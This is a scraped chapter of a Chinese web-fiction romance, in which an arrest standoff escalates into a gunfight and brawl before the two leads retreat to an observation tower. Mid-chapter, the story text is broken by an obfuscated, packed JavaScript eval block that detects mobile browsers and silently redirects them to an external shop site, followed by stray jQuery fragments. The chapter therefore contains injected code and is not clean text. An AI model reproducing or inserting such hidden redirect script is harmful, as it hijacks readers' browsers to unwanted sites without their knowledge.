文趣网 > 都市小说 > 装A复仇却和敌将恋爱了 > 45. 冲突
    沈鹤亭看了他俩一眼,命令道:“带走。”

    说完,转身就走。

    陆烬往前一步,挡住凌疏面前:“以什么名义?”

    沈鹤亭的脚步顿住。他侧过头,目光落在陆烬脸上,随后,他冷哼一声,眼里的不屑很明显:“盗取议会机密罪。”

    “我们没有。”陆烬说。

    “有没有,不是你说了算的。审了才知道。”他重新迈步,“带走!”

    陆烬还想拦,凌疏伸手拽住他的袖口:“没事的,有我父亲在,他不会拿我怎样。”

    “不行。”陆烬一把将凌疏拽到身后,“凌副议长马上到。希望沈副议长等几分钟。”

    沈鹤亭眉骨一压:“我还从来没见过敢违抗我命令的。”

    他对着身旁的警卫一挥手:“强行带走!我看他们敢不敢拒捕!”

    陆烬手往身后腰际一摸,竟然掏出一把枪!上膛,瞄准,枪口直指沈鹤亭眉心:“我长这么大,还不知道什么叫‘不敢’!”

    凌疏懵了,看着陆烬手里的枪:“你疯了!”

    一旁的陈铎更疯:“你们怎么还带枪进基地!”

    陆烬眼睛盯着沈鹤亭,左手反过来拍了拍凌疏:“别担心,你父亲马上到。”

    他父亲?凌疏还没反应过来,就见沈鹤亭的脸色彻底沉了下去,他一挥手,声音比刚才冷了数倍:“抓了。拒捕,可以击毙。”

    “喂喂喂!”陈铎快吓死了。一个副议长、一个副议长的独子,任何一个在他眼皮子底下出事,他这条小命可以不要了!他连忙冲进两方之间,高高挥舞着双手,用身体去挡住两边的枪口。

    上膛声咔嚓咔嚓的,响在他耳边,简直就像是一枚枚即将引爆的炸弹!

    “别冲动!沈副议长,您别这样!......陆烬!你放下枪!”

    可惜,没有一个人听他的。

    沈鹤亭更是把他当成了人肉盾牌,趁他挡着,一个滑步,躲到了警卫身后。

    其他警卫想开枪,统统被陈铎的手下抓住了枪杆,不让他们动。眼看着陈铎为代表的军方不会让他们在这里大动干戈,沈鹤亭警卫队队长一声令下,所有警卫扔下枪,冲向陆烬。

    陆烬发出一声鄙夷的“哼”,把枪往身后一别,对着冲在最前面的人,一脚蹬了过去。

    双方开始肉搏。

    陆烬左手抓住一个警卫的胳膊,借力将人掼向桌子,右手扣住一个警卫的手腕,反手一拧,用力一推,那人惨叫着撞翻了两把椅子。第三个从左侧扑来,陆烬矮身,肩膀撞进对方胸口,将人顶在资料室的金属柜门上,柜门凹陷,发出一声巨响。

    第四个试图绕后,却被一旁的凌疏扫腿踢中,那人倒飞了出去,在桌椅间滑出刺耳的锐鸣。

    一分钟,两排警卫,全部倒地。

    就在这时,沈鹤亭举起了枪,瞄准了凌疏——

    生死只在一刹那间。

    陆烬瞳孔瞬间放大,一把快速搂住凌疏、往怀里一按,转身用后背挡住了枪口。

    “沈副议长!”陈铎的喊声直接破了音。

    陆烬用力把凌疏的脑袋按在自己怀里:“别看。”

    眼看着扳机要扣下——

    “沈鹤亭!你他妈的敢!!”凌敬山是跑着进来的,跑得气喘吁吁,全然没有了一贯的上位者风度。

    他身后跟着黑压压的、比沈鹤亭多出好几倍的警卫,发出杂乱的沉重脚步声。

    他脸色非常难看,在看到沈鹤亭手中的枪时,彻底炸了:“你敢开枪试试?!我他妈把你们沈家上到八十岁、下到八个月,包括你,一个不留全都活埋了你信不信?!”

    沈鹤亭的手僵了一瞬。他缓缓放下枪,嘴角扯出一个毫无温度的弧度:“凌副议长,跑得真快啊。你儿子盗取议会机密,拒捕,还伤了我的人。”

    “放屁!”凌敬山吼道,“就算是看了什么资料,也是我让他看的,你他妈有种把我铐了!”

    他身后的警卫像潮水一样涌进来,将凌疏和陆烬护在中间。

    凌敬山的目光落在陆烬脸上,那人还紧紧抱着凌疏,丝毫没有因为他的到来而懈怠。

    倒是凌疏挣扎着从他怀里探出个脑袋,叫了一声:“爸。”

    凌敬山都不知道该露出什么表情,最后只好一挥手:“走。”

    陆烬依旧护着凌疏,用自己的脊背挡在他和沈鹤亭之前,侧着身子,搂着凌疏,跟上了凌敬山。

    沈鹤亭放下了枪口,阴沉地说了句:“凌敬山,谁的屁股都不干净。你儿子要是再敢干这样的事——”他顿了顿,声音像是从阴冷的骨髓里挤出来,“不管是动到谁的头上,他都不会有好下场。”

    凌敬山没有回头,带着身边一双年轻人,继续往外走去。

    刚走出资料室的大楼,凌敬山一个转身,对着陆烬:“还不放开?!”

    陆烬松开了手。

    凌敬山火气很大:“小疏,今天跟我回家。”

    凌疏摇头:“不回。”

    “你说什么?!”凌敬山气得扬起手掌。

    陆烬下意识往前半步,挡住了凌疏。

    凌敬山看着陆烬,更气了,怎么看这小子怎么不顺眼:“你别以为我不敢打你!”

    陆烬也不回嘴,也不让开。

    “爸,”凌疏迈前一步,反而挡在陆烬面前,“我和陆烬先回学校。”

    “什么?你就不打算跟我交代?!”凌敬山的声音陡然拔高。

    凌疏脚步顿了下,终究上前一步,抱了了他:“爸,你救了我,救了陆烬,我心里很感激。不过,今天的事,我得理一理,才知道要怎么跟你说。等我自己理清了,我再到你这儿领罚。好不好?”

    凌敬山的背僵了一瞬,他拍了拍凌疏后背,说出口的话仍是责备,语调却降了下来:“领什么罚?你帮我气了那姓沈的一下,我高兴还来不及。不过......他是个吃人不吐骨头的,我担心你......”

    凌疏松开手,退后一步:“爸,我有必须要这样做的理由。你......自己注意安全,我们走了。”说完,他不等回应,低着头、拽着陆烬,转身走了。

    陆烬被拽着,踉跄了半步,回头对着凌敬山欠了欠身:“凌副议长,我们走了。您放心,我会看着他的。”他语气恭敬,态度很好,把凌敬山噎得不知道该不该答应才好。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692864|203138||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    *

    他们还是没有直接回学校,反而去了上次去过的观测塔。在顶层的穹顶室外面,有一个很大很平坦的观测台。

    这里曾经是用来观测人造星云的,现在望远镜已经拆走,只剩一个圆形的混凝土平台。从平台往下看,有一道干涸的河床,河床底部铺着细碎的石子,在月光下泛着银白的光。

    四周很安静,没有路灯,只有远处城市的霓虹在天际线上投下一层模糊的光影。

    凌疏走不动了。明明打架也没出多少力,查资料一直坐着更不费力,但他就是觉得浑身被掏空,走不动了。

    他蹲下来,屁股搭在十厘米高的平台台阶上,双手环抱着膝盖,低着头、不说话。

    月光把他的影子揉成一团,丢在混凝土平台上,像一只无家可归的小狗。

    刚刚那场激烈的冲动,不仅断绝了沈鹤亭是嫌疑人的可能,还断绝了他调查其他高层的可能。

    沈鹤亭说的没错,位高权重的人,谁都不会允许他这样查。

    他觉得自己走入了死胡同,前方没有出路。

    渐渐的,他的双眼开始放空。不是绝望,是某种比绝望更深层的麻木。像一口被抽干了水的深井,井底沉着黏稠的泥。他不哭,不喊,只是蹲在那里,像被按了暂停键,失去了一切动力。

    不知过了多久。

    夜幕彻底沉下去,风从河床底部灌上来,带着碎石的凉意。

    凌疏觉得有点冷,他下意识摸了摸胳膊。

    一件外套披在了他身上。带着陆烬的体温,和龙舌兰稠厚的气息,裹住了他。

    “我没那么弱,”凌疏解下衣服,递回去,“你穿着,别感冒了。”

    陆烬在他身侧蹲下,把外套往他肩上拢了拢:“感个冒也不是什么大事。”

    “对,”凌疏的嘴角竟然动了动,像是想笑,“感个冒也不是什么大事,别顾着我了。”

    陆烬轻轻笑了一声,他把外套穿回去,在凌疏身边坐下,挨得很近。随后,他伸出手,搂住了凌疏,往怀里带了带,用自己的胸膛去温暖他的背脊。

    “最好还是都别感冒了吧。”

    凌疏被他紧紧搂着,却没有一丝一毫想要挣扎的念头。

    他习惯了这样的怀抱,无论在什么时候,都温暖、可靠。大概是心底太空了,空得他有些难受,他放任了自己一把,把头轻轻靠在了陆烬的胸膛上。

    月光从不远处的树叶缝隙照过来,在两人交叠的影子边缘切出一道银白的线。风还在吹,河床底部的石子发出细微的摩擦响。

    凌疏闭上眼睛,缓缓呼了一口气。

    然后,他听到了陆烬的心跳。越来越快,越来越有力,擂鼓似的,在胸腔里撞击。

    他把半边侧脸贴上心脏的位置,埋得更深了一分:“陆烬,我该怎么办?”

    陆烬手掌扣住了他的后脑勺,唇轻轻吻了一下他的头发:“别想了。这么累的时候,不会有好主意。你睡一会儿,我陪着你。”

    凌疏眨巴眨巴眼睛,“嗯”了一声,双手圈住陆烬的腰,顶了顶脑袋,找到一个舒服的位置,闭上了眼。

    还好,他还有陆烬。